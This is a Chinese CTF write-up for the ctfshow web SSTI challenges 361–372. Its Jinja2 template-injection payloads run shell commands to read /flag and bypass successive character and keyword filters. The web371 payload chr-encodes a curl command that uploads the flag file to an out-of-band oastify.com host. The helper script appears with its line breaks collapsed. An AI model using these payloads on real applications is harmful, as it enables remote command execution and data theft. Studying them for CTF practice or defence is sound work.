当前位置: 首页 > news >正文

ctfshow—web ssti 361-372

ctfshow_web-ssti (361~372)

web 361

首先,题目提示,名字就是考点,所以应该是需要我们传一个name的参数

然后就是检查是什么模板

然后找到可以注入的模块,这里我找到的是os._wrap_close在132,找模块的数字我们可以使用python代码来跑

直接些payload

?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

image-20250422220123567

web362

首先题目提示有过滤,然后其他没变

测试发现过滤了一些数字,如3还有2,这样子我们os._wrap_close这个就不能用了,我们可以去找其他模板,如_frozen_importlib_external.FileLoader这个模块,这个模块在94,没有被过滤,这个模块可以使用内建函数eval执行命令,我们直接构造payload(有很多可以这样做的模块,我们可以用python脚本,去找)

payload

?name={{().__class__.__base__.__subclasses__()[94].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}}}

web363

题目还是提示有过滤,试了一下发现过滤了单双引号,我们测试过滤了什么可以一部分一部分的输命令,就可以知道了,我们直接使用request来绕过过滤单双引号

payload

{{().__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.args.k).read()}}&k=ls

web364

和上一题增加了对args的过滤,我们使用request.cookies即可绕过

payload

{{().__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.cookies.k).read()}}

web365

增加了对中括号的过滤,我们可以使用pop()或者__getitem__魔术方法来进行绕过

payload

?name={{().__class__.__base__.__subclasses__().pop(132).__init__.__globals__.popen(request.cookies.k).read()}}

web366

增加了对下划线的过滤,我们可以使用过滤器attr()和request来绕过

payload

url  
?name={{()|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c)()|attr(request.cookies.d)(132)|attr(request.cookies.e)|attr(request.cookies.f)|attr(request.cookies.d)(request.cookies.x)(request.cookies.z)|attr(request.cookies.r)()}}cookie
a=__class__;b=__base__;c=__subclasses__;d=__getitem__;e=__init__;f=__globals__;x=popen;z=cat /flag;r=read

web367

过滤了os,用上一题的脚本即可

web 368

又过滤了双大括号,使用{%print%}再配合上一个payload即可

payload

url
{%print ()|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c)()|attr(request.cookies.d)(132)|attr(request.cookies.e)|attr(request.cookies.f)|attr(request.cookies.d)(request.cookies.x)(request.cookies.z)|attr(request.cookies.r)()%}cookies
a=__class__;b=__base__;c=__subclasses__;d=__getitem__;e=__init__;f=__globals__;x=popen;z=cat /flag;r=read

web 369

又过滤了request,重新构造payload

用拼接来绕过

{%set pop=dict(pop=a)|join%}
{% set s=dict(aaaaaa=a)|join|length*dict(aaaa=a)|join|length%}    //s=24
{% set w=dict(aaaaaa=a)|join|length*dict(aaa=a)|join|length%}     //w=18
{% set v=dict(aaaaaaaaaa=a)|join|length*dict(aaaaa=a)|join|length-dict(aaa=a)|join|length%}  //v=47
{% set xhx=({}|select()|string()|list|attr(pop)(s))%}    //xhx=_
{% set kg=(self|string()|list|attr(pop)(w))%}     //kg=空格
{% set glo=(xhx,xhx,dict(glo=a,bals=b)|join,xhx,xhx)|join%}
{% set g=dict(ge=a,t=b)|join%}
{% set ch=dict(ch=a,r=b)|join%}
{% set bu=(xhx,xhx,dict(buil=a,tins=b)|join,xhx,xhx)|join%}
{% set c=lipsum|attr(glo)|attr(g)(bu)|attr(g)(ch)%}
{% set o=dict(o=a,s=a)|join%}
{% set po=dict(po=a,pen=a)|join%}
{% set r=dict(re=a,ad=b)|join%}
{% set a=(dict(ca=a,t=b)|join,kg,c(v),dict(fl=a,ag=b)|join)|join%}    //c(v)=/
{{lipsum|attr(glo)|attr(g)(o)|attr(po)(a)|attr(r)()}}

web370

过滤了数字,我上一个脚本就已经绕过了数字,直接使用上一题脚本即可

web371

过滤了print,使用curl外带

跑chr字符的脚本

def half2full(half):full = ''for ch in half:if ord(ch) in range(33, 127):ch = chr(ord(ch) + 0xfee0)elif ord(ch) == 32:ch = chr(0x3000)else:passfull += chreturn full
string = input("你要输入的字符串:")
result = ''
def str2chr(s):global  resultfor i in s:result += "c("+half2full(str(ord(i)))+")%2b"
str2chr(string)
print(result[:-3])

payload

{%set pop=dict(pop=a)|join%}
{% set s=dict(aaaaaa=a)|join|length*dict(aaaa=a)|join|length%}
{% set w=dict(aaaaaa=a)|join|length*dict(aaa=a)|join|length%}
{% set v=dict(aaaaaaaaaa=a)|join|length*dict(aaaaa=a)|join|length-dict(aaa=a)|join|length%}
{% set xhx=({}|select()|string()|list|attr(pop)(s))%}
{% set kg=(self|string()|list|attr(pop)(w))%}
{% set glo=(xhx,xhx,dict(glo=a,bals=b)|join,xhx,xhx)|join%}
{% set g=dict(ge=a,t=b)|join%}
{% set ch=dict(ch=a,r=b)|join%}
{% set bu=(xhx,xhx,dict(buil=a,tins=b)|join,xhx,xhx)|join%}
{% set c=lipsum|attr(glo)|attr(g)(bu)|attr(g)(ch)%}
{% set o=dict(o=a,s=a)|join%}
{% set po=dict(po=a,pen=a)|join%}
{% set r=dict(re=a,ad=b)|join%}
{% set a=c(99)%2bc(117)%2bc(114)%2bc(108)%2bc(32)%2bc(45)%2bc(70)%2bc(32)%2bc(97)%2bc(97)%2bc(97)%2bc(61)%2bc(64)%2bc(47)%2bc(102)%2bc(108)%2bc(97)%2bc(103)%2bc(32)%2bc(104)%2bc(116)%2bc(116)%2bc(112)%2bc(58)%2bc(47)%2bc(47)%2bc(55)%2bc(97)%2bc(105)%2bc(112)%2bc(51)%2bc(103)%2bc(109)%2bc(56)%2bc(98)%2bc(117)%2bc(116)%2bc(116)%2bc(107)%2bc(56)%2bc(114)%2bc(119)%2bc(98)%2bc(114)%2bc(55)%2bc(103)%2bc(113)%2bc(116)%2bc(119)%2bc(105)%2bc(97)%2bc(57)%2bc(103)%2bc(48)%2bc(52)%2bc(113)%2bc(115)%2bc(102)%2bc(46)%2bc(111)%2bc(97)%2bc(115)%2bc(116)%2bc(105)%2bc(102)%2bc(121)%2bc(46)%2bc(99)%2bc(111)%2bc(109)%}
{% if lipsum|attr(glo)|attr(g)(o)|attr(po)(a)|attr(r)()%}aaa{%endif%}

web 372

过滤了count,没什么影响貌似,上一个脚本依旧可以

http://icebutterfly214.com/news/885/

相关文章:

  • 2025信创浪潮下,ITSM 平台选型指南:国产方案如何选对 “运维服务引擎”
  • SQLServer 数字+Null结果会变为 Null,使用ISNULL(Null, 0)函数保底
  • layui动态模板详解
  • 2025 年北京湘菜餐厅最新推荐榜,食材品质与服务体验及市场口碑深度解析
  • 2025年度线材立式注塑机直销厂家TOP3综合榜单:线材立式注塑机/精密立式注塑机/立式转盘注塑机源头厂家精选。
  • 2025年评价高的企业目视化规划最新品牌实力榜品牌
  • 2025年广东中小学网课学习机服务商TOP3权威实力榜单:小学英语学习机/智能ai学生学习机/网课平板学习机服务商精选
  • 2025年口碑好的大型年糕机厂家最新推荐排行榜
  • SQL的查缺补漏 - Irving11
  • 2025年比较好的不锈钢弯管加工高评价厂家推荐榜
  • 2025年热门的注塑脚垫TPE颗粒厂家最新权威实力榜
  • 2025年比较好的不锈钢门管子门优质厂家推荐榜单
  • 模拟赛 R20
  • 2025年正规的制氮机厂家最新TOP实力排行
  • 2025年本地的风机盘管厂家最新实力排行
  • 常见问题解决 --- 此环境变量太大, 此对话框允许将值设置为最长2047个字符”
  • 2025年质量好的nfc标签厂家最新推荐排行榜
  • 2025年度江苏轮椅升降机改装服务TOP3实力厂商推荐:福祉座椅改装/残疾车改装/福祉座椅维修服务精选。
  • 2025年质量好的海水淡化反渗透膜厂家最新权威推荐排行榜
  • The Design of a Practical System for Fault-Tolerant Virtual Machines论文解读
  • 2025年耐用的管式换热器厂家最新权威实力榜
  • 2025年质量好的高强度钢丝绳索具厂家选购指南与推荐
  • [转]使用Nginx代理MinIO的完整指南:实现Web界面与API接口的远程访问
  • 2025年正规的复式楼家用电梯行业内知名厂家排行榜
  • 2025年靠谱的商场定制展柜厂家实力及用户口碑排行榜
  • 2025年优秀的冲压机械手最新TOP品牌厂家排行
  • 2025年热门的校园雕塑厂家推荐及选购参考榜
  • 2025年比较好的冷拔丝厂家推荐及采购参考
  • 乐聚教育机器人——功能演示视频
  • 读AI赋能12政府2